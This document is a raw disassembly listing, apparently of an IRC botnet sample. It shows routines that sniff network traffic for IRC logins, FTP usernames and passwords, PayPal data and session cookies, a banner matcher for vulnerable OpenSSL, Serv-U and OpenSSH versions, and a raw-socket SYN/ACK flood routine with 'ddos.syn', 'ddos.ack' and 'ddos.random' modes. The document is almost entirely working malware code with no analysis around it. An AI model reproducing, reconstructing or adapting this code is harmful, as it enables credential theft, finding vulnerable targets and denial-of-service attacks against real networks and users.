		dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
		dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
		dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
		dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
		dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh,	458B1808h
		dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
		dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h,	4CB6E0h
		dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
		dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h,	96D4h
		dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
		dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
		dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
		dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh,	2CDCAFE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3C0, eax
		mov	eax, offset dword_4CE3C0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================



sub_412361	proc near		; CODE XREF: sub_412661+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================



sub_412478	proc near		; CODE XREF: sub_412661+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412575	proc near		; CODE XREF: sub_412661+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB668
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6D8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4361C0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB600
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436190
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB66C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43615C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436128
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4360BC


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436084
		jmp	short loc_4129E8
sub_412661	endp

; ---------------------------------------------------------------------------
dword_412A54	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: sub_401ACD+6543o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h
		dd 27DEDCE8h, 51E85002h, 8D00008Eh, 0FFFE7485h,	858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 398h, 5014C483h, 0FB6C858Dh,	0EC68FFFFh, 50004361h
		dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h,	0E8FFFFFDh
		dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
		dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0D4FAE856h, 5F90022Ch
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B09	proc near		; CODE XREF: ___:00412E80p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB654
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB654
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB650
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB654
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780B86h
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 2780896h
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2780896h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436214
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6EC
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B09	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
